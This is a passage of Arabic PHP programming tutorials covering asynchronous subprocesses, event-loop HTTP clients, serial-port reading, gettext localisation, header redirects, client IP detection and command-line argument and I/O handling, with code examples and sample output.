بشكلٍ متزامن إلا إذا ثبَّت الإضافات مثل pthread، يمكن تجاوز هذا أحيانًا باستخدام الدوال proc_open()‎ وstream_set_blocking()‎­ وقراءة خرجهم بشكلٍ غير متزامن. يمكننا تنفيذ الشيفرة كعمليات فرعية متعددة إذا قسمناها إلى أجزاء أصغر، ثمّ يمكننا جعل كل عملية فرعية غير معطَّلة باستخدام دالة stream_set_blocking()‎ أي أنّه يمكننا إنتاج عدة عمليات فرعية ثم التحقق من خرجها في حلقة (بشكل مشابه لحلقة حدث) والانتظار حتى تنتهي جميعها. يمكن أن يكون لدينا مثلًا عملية فرعية صغيرة تنفّذ حلقة وتتوقف في كل تكرار بشكلٍ عشوائي لمدة 100- 1000 ميلي ثانية (لاحظ أنّ التأخير هو نفسه لكل عملية فرعية). <?php // subprocess.php $name = $argv[1]; $delay = rand(1, 10) * 100; printf("$name delay: ${delay}ms\n"); for ($i = 0; $i < 5; $i++) { usleep($delay * 1000); printf("$name: $i\n"); } ثم ستنتج العملية الرئيسية عمليات فرعية وتقرأ خرجها، ويمكننا تقسيمه إلى كتل أصغر: إنتاج عمليات فرعية باستخدام proc_open()‎. جعل كل عملية فرعية غير معطَّلة باستخدام stream_set_blocking()‎. تنفيذ حلقة حتى تنتهي كل العمليات الفرعية باستخدام proc_get_status()‎. إغلاق مقابض الملف بشكل صحيح مع أنبوب الخرج لكل عملية فرعية باستخدام fclose()‎ وإغلاق مقابض العملية باستخدام proc_close()‎. <?php // non-blocking-proc_open.php // واصفات الملف لكل عملية فرعية $descriptors = [ ᠎᠎0 => ['pipe', 'r'], // stdin 1 => ['pipe', 'w'], // stdout ]; $pipes = []; $processes = []; foreach (range(1, 3) as $i) { // إنتاج عملية فرعية $proc = proc_open('php subprocess.php proc' . $i, $descriptors, $procPipes); $processes[$i] = $proc; // جعل العملية الفرعية غير معطَّلة (أنبوب الخرج فقط) stream_set_blocking($procPipes[1], 0); $pipes[$i] = $procPipes; } // تنفيذ حلقة حتى تنتهي كل العمليات الفرعية while (array_filter($processes, function($proc) { return proc_get_status($proc)['running']; })) { foreach (range(1, 3) as $i) { usleep(10 * 1000); // 100ms // ‫قراءة كل الخرج الممكن (الخرج غير المقروء يُخزَّن مؤقتًا) $str = fread($pipes[$i][1], 1024); if ($str) { printf($str); } } } // إغلاق كل الأنابيب والعمليات foreach (range(1, 3) as $i) { fclose($pipes[$i][1]); proc_close($processes[$i]); } يحتوي الخرج على مزيج من العمليات الفرعية الثلاث بما أننا نقرأها باستخدام fread()‎، لاحظ أنّه في المثال انتهت العملية proc1 قبل العمليتين الباقيتين بكثير. $ php non-blocking-proc_open.php proc1 delay: 200ms proc2 delay: 1000ms proc3 delay: 800ms proc1: 0 proc1: 1 proc1: 2 proc1: 3 proc3: 0 proc1: 4 proc2: 0 proc3: 1 proc2: 1 proc3: 2 proc2: 2 proc3: 3 proc2: 3 proc3: 4 proc2: 4 قراءة منفذ تسلسلي مع إضافة حدث ودخل/خرج مباشر إنّ مجاري الدخل والخرج المباشرة (DIO) غير معروفة الآن من قِبل الإضافة حدث Event، فلا توجد طريقة نظيفة للحصول على واصف الملف مغلفًا ضمن موارد الدخل والخرج المباشرة، إلا أنّ هناك حل بديل: فتح مجرى للمنفذ باستخدام fopen()‎. جعل المجرى غير معطّل باستخدام stream_set_blocking();‎. الحصول على واصف ملف رقمي من المجرى باستخدام EventUtil::getSocketFd();‎. تمرير واصف الملف الرقمي إلى الدالة dio_fdopen()‎ والحصول على مورد دخل/خرج مباشر. إضافة حدث مع رد نداء للتنصت على الأحداث المقروءة على واصف الملف. تُصرَف البيانات المتاحة في رد النداء وتُعالج وفقًا لمنطق تطبيقك. الملف dio.php: <?php class Scanner { // ‫مسار المنفذ مثل ‎/dev/pts/5 protected $port; // واصف الملف الرقمي protected $fd; // EventBase protected $base; // مورد دخل/خرج مباشر protected $dio; // حدث protected $e_open; // حدث protected $e_read; public function __construct ($port) { $this->port = $port; $this->base = new EventBase(); } public function __destruct() { $this->base->exit(); if ($this->e_open) $this->e_open->free(); if ($this->e_read) $this->e_read->free(); if ($this->dio) dio_close($this->dio); } public function run() { $stream = fopen($this->port, 'rb'); stream_set_blocking($stream, false); $this->fd = EventUtil::getSocketFd($stream); if ($this->fd < 0) { fprintf(STDERR, "Failed attach to port, events: %d\n", $events); return; } $this->e_open = new Event($this->base, $this->fd, Event::WRITE, [$this, '_onOpen']); $this->e_open->add(); $this->base->dispatch(); fclose($stream); } public function _onOpen($fd, $events) { $this->e_open->del(); $this->dio = dio_fdopen($this->fd); // استدعاء دوال دخل/خرج مباشر هنا dio_tcsetattr($this->dio, [ 'baud' => 9600, 'bits' => 8, 'stop' => 1, 'parity' => 0 ]); $this->e_read = new Event($this->base, $this->fd, Event::READ | Event::PERSIST, [$this, '_onRead']); $this->e_read->add(); } public function _onRead($fd, $events) { while ($data = dio_read($this->dio, 1)) { var_dump($data); } } } // تغيير وسيط المنفذ $scanner = new Scanner('/dev/pts/5'); $scanner->run(); الاختبار: نفّذ التعليمة التالية في الطرفية A: $ socat -d -d pty,raw,echo=0 pty,raw,echo=0 2016/12/01 18:04:06 socat[16750] N PTY is /dev/pts/5 2016/12/01 18:04:06 socat[16750] N PTY is /dev/pts/8 2016/12/01 18:04:06 socat[16750] N starting data transfer loop with FDs [5,5] and [7,7] قد يختلف الخرج، استخدم الطرفيات الزائفة من أول سطرين (‎/dev/pts/5‎ و‎/dev/pts/8 بالتحديد). نفّذ في الطرفية B السكربت السابق، قد تحتاج إلى صلاحيات الجذر: $ sudo php dio.php أرسل من الطرفية C سلسلة نصية إلى الطرفية الزائفة الأولى: $ echo test > /dev/pts/8 الخرج: string(1) "t" string(1) "e" string(1) "s" string(1) "t" string(1) " " عميل HTTP بالاعتماد على الإضافة Event إليك مثال عن صنف عميل HTTP بالاعتماد على الإضافة Event، يسمح هذا الصنف بجدولة عدد من طلبات HTTP ثم تنفيذها بشكلٍ غير متزامن. ملف http-client.php: <?php class MyHttpClient { // ‫متغير من الصنف EventBase protected $base; // مصفوفة كائنات من الصنف EventHttpConnection protected $connections = []; public function __construct() { $this->base = new EventBase(); } // ‫دالة لإرسال كل الطلبات المعلقة (أحداث)، تُرجع void public function run() { $this->base->dispatch(); } public function __destruct() { // ‫تدمير كائنات الاتصال بشكلٍ صريح، لا تنتظر كانس المهملات (GC) وإلا قد يتحرر كائن EventBase باكرًا $this->connections = null; } // (1) public function addRequest($address, $port, array $headers, $cmd = EventHttpRequest::CMD_GET, $resource = '/'){ $conn = new EventHttpConnection($this->base, null, $address, $port); $conn->setTimeout(5); $req = new EventHttpRequest([$this, '_requestHandler'], $this->base); foreach ($headers as $k => $v) { $req->addHeader($k, $v, EventHttpRequest::OUTPUT_HEADER); } $req->addHeader('Host', $address, EventHttpRequest::OUTPUT_HEADER); $req->addHeader('Connection', 'close', EventHttpRequest::OUTPUT_HEADER); if ($conn->makeRequest($req, $cmd, $resource)) { $this->connections []= $conn; return $req; } return false; } // (2) public function _requestHandler($req, $unused) { if (is_null($req)) { echo "Timed out\n"; } else { $response_code = $req->getResponseCode(); if ($response_code == 0) { echo "Connection refused\n"; } elseif ($response_code != 200) { echo "Unexpected response: $response_code\n"; } else { echo "Success: $response_code\n"; $buf = $req->getInputBuffer(); echo "Body:\n"; while ($s = $buf->readLine(EventBuffer::EOL_ANY)) { echo $s, PHP_EOL; } } } } } $address = "my-host.local"; $port = 80; $headers = [ 'User-Agent' => 'My-User-Agent/1.0', ]; $client = new MyHttpClient(); // إضافة طلبات معلقة for ($i = 0; $i < 10; $i++) { $client->addRequest($address, $port, $headers, EventHttpRequest::CMD_GET, '/test.php?a=' . $i); } // إرسال طلبات معلقة $client->run(); في الموضع (1) نضيف طلب HTTP معلق، معاملاته هي: ‎$address: اسم المضيف أو IP، سلسلة نصية. ‎$port: رقم المنفذ، عدد صحيح. ‎$headers: ترويسات HTTP إضافية، مصفوفة. ‎$cmd: ثابت EventHttpRequest::CMD_*‎، عدد صحيح. ‎$resource: مورد طلب HTTP مثل '‎/page?a=b&c=d'، سلسلة نصية. القيمة المعادة إما EventHttpRequest أو false. في الموضع (2) نضيف دالة لمعالجة طلب HTTP، معاملاتها: ‎$req، كائن من الصنف EventHttpRequest. ‎$unused، خليط من المعاملات. تعيد هذه الدالة void. الملف test.php، مثال عن سكربت من جهة الخادم: <?php echo 'GET: ', var_export($_GET, true), PHP_EOL; echo 'User-Agent: ', $_SERVER['HTTP_USER_AGENT'] ?? '(none)', PHP_EOL; الاستخدام: php http-client.php مثال عن الخرج: Success: 200 Body: GET: array ( 'a' => '1', ) User-Agent: My-User-Agent/1.0 Success: 200 Body: GET: array ( 'a' => '0', ) User-Agent: My-User-Agent/1.0 Success: 200 Body: GET: array ( 'a' => '3', ) ... // الخرج مختصر لاحظ أنّ الشيفرة صُممت للمعالجة طويلة الأمد في CLI SAPI. عميل HTTP بالاعتماد على الإضافة Ev إليك مثال عن صنف عميل HTTP بالاعتماد على الإضافة Ev. تنفذ الإضافة Ev حدث حلقة بسيط لكن قوي للأغراض العامة، إنّها لا توفر مراقبين خاصين للشبكة لكن يمكن استخدام I/O watcher الخاص بالإضافة للمعالجة غير المتزامنة للمقابس. تظهر الشيفرة التالية كيف يمكن جدولة طلبات HTTP للمعالجة التفرعية. ملف http-client.php: <?php class MyHttpRequest { // ‫كائن من الصنف MyHttpClient private $http_client; // سلسلة نصية private $address; // ‫مورد HTTP من النوع سلسلة نصية مثل ‎/page?get=param private $resource; // ‫طريقة HTTP من النوع سلسلة نصية مثل GET، ‏POST private $method; // عدد صحيح private $service_port; // مقبس مورد private $socket; // مهلة الاتصال بالثانية من النوع عدد عشري private $timeout = 10.; // ‫حجم كل جزء للدالة socket_recv()‎ بالبايتات من النوع عدد صحيح private $chunk_size = 20; ?// ‫كائن من الصنف EvTimer private $timeout_watcher; // ‫كائن من الصنف EvIo private $write_watcher; // ‫كائن من الصنف EvIo private $read_watcher; // ‫كائن من الصنف EvTimer private $conn_watcher; // مخزن مؤقت للبيانات القادمة من النوع سلسلة نصية private $buffer; // الأخطاء التي أخبرت عنها إضافة المقابس في وضع عدم التعطيل من النوع مصفوفة private static $e_nonblocking = [ // ‫عُطِّلت العملية لكن وُضع واصف الملف في وضع عدم التعطيل (EAGAIN أو EWOULDBLOCK) 11, // ‫العملية الحالية قيد التقدم (EINPROGRESS) 115, ]; // (1) public function __construct(MyHttpClient $client, $host, $resource, $method) { $this->http_client = $client; $this->host = $host; $this->resource = $resource; $this->method = $method; // ‫الحصول على المنفذ من خدمة WWW $this->service_port = getservbyname('www', 'tcp'); // ‫الحصول على عنوان IP للمضيف الهدف $this->address = gethostbyname($this->host); // ‫إنشاء مقبس TCP/IP $this->socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!$this->socket) { throw new RuntimeException("socket_create() failed: reason: " . socket_strerror(socket_last_error())); } // ‫ضبط الراية O_NONBLOCK socket_set_nonblock($this->socket); $this->conn_watcher = $this->http_client->getLoop() ->timer(0, 0., [$this, 'connect']); } public function __destruct() { $this->close(); } private function freeWatcher(&$w) { if ($w) { $w->stop(); $w = null; } } // تحرير كل موارد الطلب private function close() { if ($this->socket) { socket_close($this->socket); $this->socket = null; } $this->freeWatcher($this->timeout_watcher); $this->freeWatcher($this->read_watcher); $this->freeWatcher($this->write_watcher); $this->freeWatcher($this->conn_watcher); } // دالة تهيئ اتصالًا بالمقبس وتعيد قيمة منطقية public function connect() { $loop = $this->http_client->getLoop(); $this->timeout_watcher = $loop->timer($this->timeout, 0., [$this, '_onTimeout']); $this->write_watcher = $loop->io($this->socket, Ev::WRITE, [$this, '_onWritable']); return socket_connect($this->socket, $this->address, $this->service_port); } // ‫رد نداء لمهلة المراقب (EvTimer) public function _onTimeout(EvTimer $w) { $w->stop(); $this->close(); } // رد نداء يُستدعى عندما يصبح المقبس قابلًا للكتابة public function _onWritable(EvIo $w) { $this->timeout_watcher->stop(); $w->stop(); $in = implode("\r\n", [ "{$this->method} {$this->resource} HTTP/1.1", "Host: {$this->host}", 'Connection: Close', ]) . "\r\n\r\n"; if (!socket_write($this->socket, $in, strlen($in))) { trigger_error("Failed writing $in to socket", E_USER_ERROR); return; } $loop = $this->http_client->getLoop(); $this->read_watcher = $loop->io($this->socket, Ev::READ, [$this, '_onReadable']); // الاستمرار بتنفيذ الحلقة $loop->run(); } // رد نداء يُستدعى عندما يصبح المقبس قابلًا للقراءة public function _onReadable(EvIo $w) { // استقبال 20 بايت في وضع عدم التعطيل $ret = socket_recv($this->socket, $out, 20, MSG_DONTWAIT); if ($ret) { // إذا كان لا يزال هناك بيانات للقراءة، أضفها إلى المخزن المؤقت $this->buffer .= $out; } elseif ($ret === 0) { // إذا قُرِأت كل البيانات printf("\n<<<<\n%s\n>>>>", rtrim($this->buffer)); fflush(STDOUT); $w->stop(); $this->close(); return; } // ‫التقاط EINPROGRESS، ‏EAGAIN أو EWOULDBLOCK if (in_array(socket_last_error(), static::$e_nonblocking)) { return; } $w->stop(); $this->close(); } } ///////////////////////////////////// class MyHttpClient { // ‫مصفوفة كائنات من الصنف MyHttpRequest private $requests = []; ?// ‫متغير من الصنف EvLoop private $loop; public function __construct() { // ‫ينفذ كل عميل HTTP حلقة حدث خاصة به $this->loop = new EvLoop(); } public function __destruct() { $this->loop->stop(); } // ‫تعيد هذه الدالة كائن EvLoop public function getLoop() { return $this->loop; } // إضافة طلبات معلقة public function addRequest(MyHttpRequest $r) { $this->requests []= $r; } // إرسال كل الطلبات المعلقة public function run() { $this->loop->run(); } } //// الاستخدام $client = new MyHttpClient(); foreach (range(1, 10) as $i) { $client->addRequest(new MyHttpRequest($client, 'my-host.local', '/test.php?a=' . $i, 'GET')); } $client->run(); في الموضع (1) معاملات الدالة هي: ‎$client من الصنف MyHttpClient. ‎$host اسم المضيف مثل google.co.uk، سلسلة نصية ‎$resource مورد HTTP مثل ‎/page?a=b&c=d، سلسلة نصية. ‎$method طريقة HTTP مثل: GET، ‏HEAD، ‏POST، ‏PUT…، سلسلة نصية. ترمي هذه الدالة الاستثناء RuntimeException. الاختبار: بفرض أنّ سكربت http://my-host.local/test.php يطبع محتويات ‎$_GET: <?php echo 'GET: ', var_export($_GET, true), PHP_EOL; سيكون عندها خرج الأمر php http-client.php مشابهًا للتالي: <<<< HTTP/1.1 200 OK Server: nginx/1.10.1 Date: Fri, 02 Dec 2016 12:39:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.0.13-pl0-gentoo 1d GET: array ( 'a' => '3', ) 0 >>>> <<<< HTTP/1.1 200 OK Server: nginx/1.10.1 Date: Fri, 02 Dec 2016 12:39:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.0.13-pl0-gentoo 1d GET: array ( 'a' => '2', ) 0 >>>> ... // الخرج مختصر لاحظ أنّ إضافة المقابس في PHP 5 قد تسجل تحذيرات لقيم الخطأ EINPROGRESS وEAGAIN وEWOULDBLOCK، من الممكن تعطيل هذه التسجيلات بكتابة الشيفرة: error_reporting(E_ERROR); استخدام حلقة الحدث Amp تستفاد مكتبة العمل Amp من الوعود (اسم آخر لكائنات Awaitables) والمولِّدات لإنشاء نمط مشترك. require __DIR__ . '/vendor/autoload.php'; use Amp\Dns; // جرب الأسرع محللنا المعرّف من قِبل النظام أو غوغل function queryStackOverflow($recordtype) { $requests = [ Dns\query("stackoverflow.com", $recordtype), Dns\query("stackoverflow.com", $recordtype, ["server" => "8.8.8.8"]), ]; // تعيد وعدًا ينتهي عندما ينتهي أول طلب return yield Amp\first($request); } \Amp\run(function() { // الحلقة الأساسية، نمط مشترك ضمنيًا try { // التحويل إلى نمط مشترك باستخدام Amp\resolve()‎ $promise = Amp\resolve(queryStackOverflow(Dns\Record::NS)); list($ns, $type, $ttl) = // ‫نحتاج إلى نتيجة NS واحدة وليس كل النتائج current(yield Amp\timeout($promise, 2000 /* milliseconds */)); echo "The result of the fastest server to reply to our query was $ns"; } catch (Amp\TimeoutException $e) { echo "We've heard no answer for 2 seconds! Bye!"; } catch (Dns\NoRecordException $e) { echo "No NS records there? Stupid DNS nameserver!"; } }); التوطين (Localization) توطين السلاسل النصية مع gettext()‎ gettext من مكتبة GNU هي إضافة PHP يجب تضمصينها ضمن ملف php.ini: extension=php_gettext.dll #Windows extension=gettext.so #Linux تنفذ دوال gettext واجهة برمجة تطبيقات دعم اللغة الأصلية (NLS) والتي يمكن استخدامها لتوطين تطبيقات PHP. يمكن إجراء السلاسل النصية للترجمة في PHP بضبط المحلية (locale) وضبط جداول الترجمة واستدعاء gettext()‎ على أي سلسلة نصية تريد ترجمتها. <?php // ضبط اللغة إلى الفرنسية putenv('LC_ALL= fr_FR'); setlocale(LC_ALL, 'fr_FR'); // ‫تحديد موقع جداول الترجمة للنطاق 'myPHPApp' bindtextdomain("myPHPApp", "./locale"); // ‫اختيار النطاق 'myPHPApp' textdomain("myPHPApp"); الملف myPHPApp.po: #: /Hello_world.php:56 msgid "Hello" msgstr "Bonjour" #: /Hello_world.php:242 msgid "How are you?" msgstr "Comment allez-vous?" تحمّل الدالة gettext()‎ ملف ‎.po بعد تصريفه أي ملف ‎.mo، الذي يربط ملفك ليصبح سلاسل نصية مترجمة كما في الأعلى. بعد هذه الشيفرة البسيطة سيُنظر إلى الترجمة في الملف التالي: ./locale/fr_FR/LC_MESSAGES/myPHPApp.mo عندما تستدعي gettext('some string')‎، إذا كانت السلسلة النصية 'some string' مُترجمة في الملف ‎.mo ستُرجع الترجمة وإلا ستُرجع السلسلة 'some string' غير مترجمة. // ‫طباعة النسخة المترجمة من 'Welcome to My PHP Application' echo gettext("Welcome to My PHP Application"); // ‫أو نستخدم الاسم البديل `‎_()‎` للدالة `gettext()‎` echo _("Have a nice day"); معالجة الترويسات الضبط الأساسي للترويسة إليك الضبط الأساسي لترويسة للانتقال إلى صفحة جديدة عند الضغط على زر: if(isset($_REQUEST['action'])) { switch($_REQUEST['action']) { // ضبط الترويسة بالاعتماد على أي الزر المضغوط case 'getState': header("Location: http://NewPageForState.com/getState.php?search=" . $_POST['search']); break; case 'getProject': header("Location: http://NewPageForProject.com/getProject.php?search=" . $_POST['search']); break; } else { GetSearchTerm(!NULL); } // نماذج لإضافة ولاية أو مشروع والضغط على البحث function GetSearchTerm($success) { if (is_null($success)) { echo "<h4>You must enter a state or project number</h4>"; } echo "<center><strong>Enter the State to search for</strong></center><p></p>"; // ‫استخدام `‎$_SERVER['PHP_SELF']‎` يبقينا في الصفحة حتى تقرر تعليمة `switch` أين سنذهب echo "<form action='" . $_SERVER['PHP_SELF'] . "' enctype='multipart/form-data' method='POST'> <input type='hidden' name='action' value='getState'> <center>State: <input type='text' name='search' size='10'></center><p></p> <center><input type='submit' name='submit' value='Search State'></center> </form>"; GetSearchTermProject($success); } function GetSearchTermProject($success) { echo "<center><br><strong>Enter the Project to search for</strong></center><p></p>"; echo "<form action='" . $_SERVER['PHP_SELF'] . "' enctype='multipart/form-data' method='POST'> <input type='hidden' name='action' value='getProject'> <center>Project Number: <input type='text' name='search' size='10'></center><p></p> <center><input type='submit' name='submit' value='Search Project'></center> </form>"; } ?> كيفية كشف عنوان IP لعميل الاستخدام المناسب للترويسة HTTPXFORWARDED_FOR يوجد متغير آخر يُستخدم بشكلٍ سيء على نطاق واسع في ضوء أحدث ثغرات httpoxy، تُستخدم الترويسة HTTP_X_FORWARDED_FOR غالبًا لكشف عنوان IP لعميل، لكن قد يؤدي ذلك بدون أي عمليات تحقق إضافية إلى مشاكل في الأمان خاصةً عند استخدام عنوان IP هذا لاحقًا للمصادقة أو في استعلامات SQL بدون تعقيم. تتجاهل معظم أمثلة الشيفرة المتوفرة حقيقة أنّه يمكن أن نعد HTTP_X_FORWARDED_FOR معلومةً يوفرها العميل بنفسه ولذا فهي مصدر غير موثوق لاكتشاف عنوان IP العميل، تضيف بعض هذه الأمثلة تحذيرًا بشأن سوء الاستخدام المحتمل لكنها لا تزال تفتقد إلى القيام بالتحقق في شيفرتها، لذا نقدم لك مثالًا عن دالة مكتوبة في PHP عن كيفية كشف عنوان IP لعميل إذا كنت تعرف أنّ العميل يستخدم وكيلًا (proxy) وأنت تعرف أنّه يمكن الوثوق بهذا الوكيل، إذا لم تكن تعرف أي وكيل موثوق فيمكنك استخدام REMOTE_ADDR فقط. function get_client_ip() { // لا يوجد شيء لفعله بدون معلومات موثوقة if (!isset($_SERVER['REMOTE_ADDR'])) { return NULL; } // ‫الترويسة التي يستخدمها الوكيل الموثوق للإشارة إلى عنوان IP الأصلي $proxy_header = "HTTP_X_FORWARDED_FOR"; // (1) $trusted_proxies = array("2001:db8::1", "192.168.50.1"); if (in_array($_SERVER['REMOTE_ADDR'], $trusted_proxies)) { // ‫الحصول على عنوان IP للعميل الذي يستخدم وكيل موثوق if (array_key_exists($proxy_header, $_SERVER)) { // (2) $client_ip = trim(end(explode(",", $_SERVER[$proxy_header]))); // التحقق فقط في حالة if (filter_var($client_ip, FILTER_VALIDATE_IP)) { return $client_ip; } else { // (3) } } } // ‫في كل الحالات الباقية REMOTE_ADDR هو عنوان IP الوحيد الذي يمكن الوثوق به return $_SERVER['REMOTE_ADDR']; } print get_client_ip(); في الموضع (1) نضيف قائمة بكل الوكلاء المعروفين لمعالجة 'proxy_header' بطريقةٍ آمنةٍ. في الموضع (2) يمكن أن تحتوي الترويسة على عدة عناوين IP لوكلاء تمر عبرها، يمكن الوثوق فقط بعنوان IP الذي أضافه الوكيل الأخير (الموجود في القائمة). في الموضع (3) فشل التحقق مما يعني فوز الشخص الذي ضَبط الوكيل أو أنشأ قائمة الوكلاء الموثوقين لذا يجب إضافة معالجة للأخطاء هنا والتنبيه على خطأ الشخص المسؤول. ترجمة -وبتصرف- للفصول [Coding Conventions - Asynchronous programming - Localization - Headers Manipulation - How to Detect Client IP Address] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: معالجة الصور مع مكتبة GD ومكتبة Imagick في PHP المقال السابق: التعامل مع واجهة سطر الأوامر (CLI) في PHP
  14. معالجة خيارات البرنامج يمكن معالجة خيارات البرنامج باستخدام الدالة getopt()‎، التي تعمل بصيغة مشابهة للأمر getopt في معايير POSIX مع دعم إضافي للخيارات الطويلة ذات النمط GNU. #!/usr/bin/php // تشير النقطتين إلى خيار يأخذ قيمة // تشير النقطتين المضاعفتين إلى قيمة يمكن إهمالها $shortopts = "hf:v::d"; // ‫الخيارات الطويلة ذات النمط GNU غير مطلوبة $longopts = ["help", "version"]; $opts = getopt($shortopts, $longopts); // ‫تُسند القيمة المنطقية false للخيارات التي ليس لها قيم، يجب التحقق من وجودها وليس صدقها if (isset($opts["h"]) || isset($opts["help"])) { fprintf(STDERR, "Here is some help!\n"); exit; } // ‫تُستدعى الخيارات الطويلة مع شرطتين: "‎--version" if (isset($opts["version"])) { fprintf(STDERR, "%s Version 223.45" . PHP_EOL, $argv[0]); exit; } // ‫يمكن استدعاء الخيارات ذات القيم بالشكل "‎-f foo" أو ‏"‎-ffoo" أو "‎-f=foo" $file = ""; if (isset($opts["f"])) { $file = $opts["f"]; } if (empty($file)) { fprintf(STDERR, "We wanted a file!" . PHP_EOL); exit(1); } fprintf(STDOUT, "File is %s" . PHP_EOL, $file); // ‫يمكن استدعاء الخيارات ذات القيم الافتراضية بالشكل "‎-v5" أو "‎-v=5" $verbosity = 0; if (isset($opts["v"])) { $verbosity = ($opts["v"] === false) ? 1 : (int)$opts["v"]; } fprintf(STDOUT, "Verbosity is %d" . PHP_EOL, $verbosity); // تُمرَّر الخيارات التي نستدعيها عدة مرات كمصفوفة $debug = 0; if (isset($opts["d"])) { $debug = is_array($opts["d"]) ? count($opts["d"]) : 1; } fprintf(STDOUT, "Debug is %d" . PHP_EOL, $debug); // ‫لا توجد طريقة تلقائية عند getopt لمعالجة الخيارات غير المتوقعة يمكن اختبار السكربت السابق بالشكل: ./test.php --help ./test.php --version ./test.php -f foo -ddd ./test.php -v -d -ffoo ./test.php -v5 -f=foo ./test.php -f foo -v 5 -d لاحظ أنّ الطريقة الأخيرة لن تعمل لأنّ ‎-v 5 غير صحيحة. ملاحظة: يعدّ الأمر getopt بدءًا من الإصدار PHP 5.3.0 مستقلًا عن نظام التشغيل ويعمل أيضًا على نظام ويندوز. معالجة الوسيط تُمرَّر الوسائط إلى البرنامج بطريقة مشابهة لمعظم اللغات ذات النمط C، إنّ ‎$argc عدد صحيح يعبّر عن عدد الوسائط متضمنةً اسم البرنامج و‎$argv مصفوفة تتضمن وسائط البرنامج. العنصر الأول من ‎$argv هو اسم البرنامج. #!/usr/bin/php printf("You called the program %s with %d arguments\n", $argv[0], $argc - 1); unset($argv[0]); foreach ($argv as $i => $arg) { printf("Argument %d is %s\n", $i, $arg); } استدعاء التطبيق السابق باستخدام php example.php foo bar (حيث يتضمن الملف example.php الشيفرة السابقة) سيؤدي إلى الخرج التالي: You called the program example.php with 2 arguments Argument 1 is foo Argument 2 is bar لاحظ أنّ ‎$argc و‎$argv هي متغيرات عامة وليست متغيرات ذات نطاق عام عالي، ويجب استيرادها إلى النطاق المحلي باستخدام الكلمة المفتاحية global عندما نحتاج إلى استخدامها في دالة ما. يُظهر هذا المثال كيف تُجمَّع الوسائط عندما نهرب باستخدام "" أو \. مثال عن سكربت: var_dump($argc, $argv); سطر الأوامر: $ php argc.argv.php --this-is-an-option three\ words\ together or "in one quote" but\ multiple\spaces\ counted\ as\ one int(6) array(6) { [0]=> string(13) "argc.argv.php" [1]=> string(19) "--this-is-an-option" [2]=> string(20) "three words together" [3]=> string(2) "or" [4]=> string(12) "in one quote" [5]=> string(34) "but multiple spaces counted as one" } إذا نُفِّذ سكربت PHP باستخدام ‎-r: $ php -r 'var_dump($argv);' array(1) { [0]=> string(1) "-" } أو تُرسل الشيفرة عبر أنبوب في مجرى الدخل القياسي php: $ echo '<?php var_dump($argv);' | php array(1) { [0]=> string(1) "-" } معالجة الدخل والخرج إنّ الثوابت STDIN وSTDOUT وSTDERR معرَّفة مسبقًا عند التنفيذ من واجهة سطر الأوامر (CLI)، وهي مقابض للملف يمكن أن نعدّها مكافئة لنتائج تنفيذ الأوامر التالية: STDIN = fopen("php://stdin", "r"); STDOUT = fopen("php://stdout", "w"); STDERR = fopen("php://stderr", "w"); يمكن استخدام الثوابت في أي مكان يكون مقبض الملف القياسي فيه: #!/usr/bin/php while ($line = fgets(STDIN)) { $line = strtolower(trim($line)); switch ($line) { case "bad": fprintf(STDERR, "%s is bad" . PHP_EOL, $line); break; case "quit": exit; default: fprintf(STDOUT, "%s is good" . PHP_EOL, $line); break; } } يمكن استخدام عناوين المجرى المضمَّن المُشار إليها سابقًا php://stdin وphp://stdout وphp://stderr مكان أسماء الملفات في معظم الحالات: file_put_contents('php://stdout', 'This is stdout content'); file_put_contents('php://stderr', 'This is stderr content'); // فتح المقبض والكتابة عدة مرات $stdout = fopen('php://stdout', 'w'); fwrite($stdout, 'Hello world from stdout' . PHP_EOL); fwrite($stdout, 'Hello again'); fclose($stdout); يمكن أن تستخدم أيضًا الدالة readline()‎ كبديل للدخل وتستخدم echo أو print أو أي دالة من دوال طباعة السلسلة النصية كبديل للخرج. $name = readline("Please enter your name:"); print "Hello, {$name}."; الشيفرات المُعادة يمكن استخدام البنية exit لتمرير شيفرة معادة إلى بيئة التنفيذ. #!/usr/bin/php if ($argv[1] === "bad") { exit(1); } else { exit(0); } ستُرجَع شيفرة الخروج 0 بشكلٍ افتراضي إذا لم تُمرَّر قيمة أي أنّ exit نفس exit(0)‎ وبما أنّ exit ليست دالة فإنّ الأقواس غير ضرورية إذا لم تُمرَّر شيفرة معادة. يجب أن تكون الشيفرات المُعادة في المجال بين 0 و254 (الشيفرة 255 محجوزة من قِبَل PHP ويجب عدم استخدامها)، اصطلاحًا إنّ الخروج بالشيفرة المُرجعة 0 تُخبر البرنامج المُستدعي أنّ سكربت PHP نُفِّذ بنجاح أما الشيفرة المرجعية غير الصفرية تُخبر البرنامج المستدعي بحدوث حالة خطأ محددة. قصر تنفيذ السكربت على سطر الأوامر يُرجع كل من الدالة php_sapi_name()‎ والثابت PHP_SAPI نوع الواجهة (واجهة برمجة تطبيقات الخادم Server API) التي تستخدمها PHP، ويمكن استخدامها لقصر تنفيذ السكربت على سطر الأوامر عن طريق التحقق فيما إذا كان خرج الدالة يساوي cli. if (php_sapi_name() === 'cli') { echo "Executed from command line\n"; } else { echo "Executed from web browser\n"; } الدالة drupal_is_cli()‎ هي مثال عن دالة تكتشف فيما إذا كان السكربت قد نُفِّذ من سطر الأوامر: function drupal_is_cli() { return (!isset($_SERVER['SERVER_SOFTWARE']) && (php_sapi_name() == 'cli' || (is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0))); } الاختلافات السلوكية في سطر الأوامر تعرض PHP عند التنفيذ من CLI بعض السلوكيات المختلفة عن السلوكيات عند التنفيذ على خادم ويب، يجب أن تتذكر هذه السلوكيات خاصةً في حالة تنفيذ نفس السكربت في البيئتين. لا يتغير المجلد عند التنفيذ على خادم ويب بل يبقى مجلد العمل الحالي للسكربت نفسه دائمًا، تفترض الشيفرة require("./stuff.inc");‎ أنّ الملف في نفس مجلد السكربت، أما في سطر الأوامر فإنّ مجلد العمل الحالي هو المجلد الذي يُستدعى منه السكربت، يجب أن تستخدم السكربتات التي ستُستدعى من سطر الأوامر مسارات مطلقة. (لاحظ أنّ الثوابت السحرية __DIR__ و__FILE__ تبقى تعمل كما هو متوقع وتُرجع موقع السكربت). لا يوجد مخزن مؤقت للخرج، القيم الافتراضية لموجهات الملف php.ini ‏output_buffering وimplicit_flush هي false وtrue على الترتيب. ويبقى المخزن 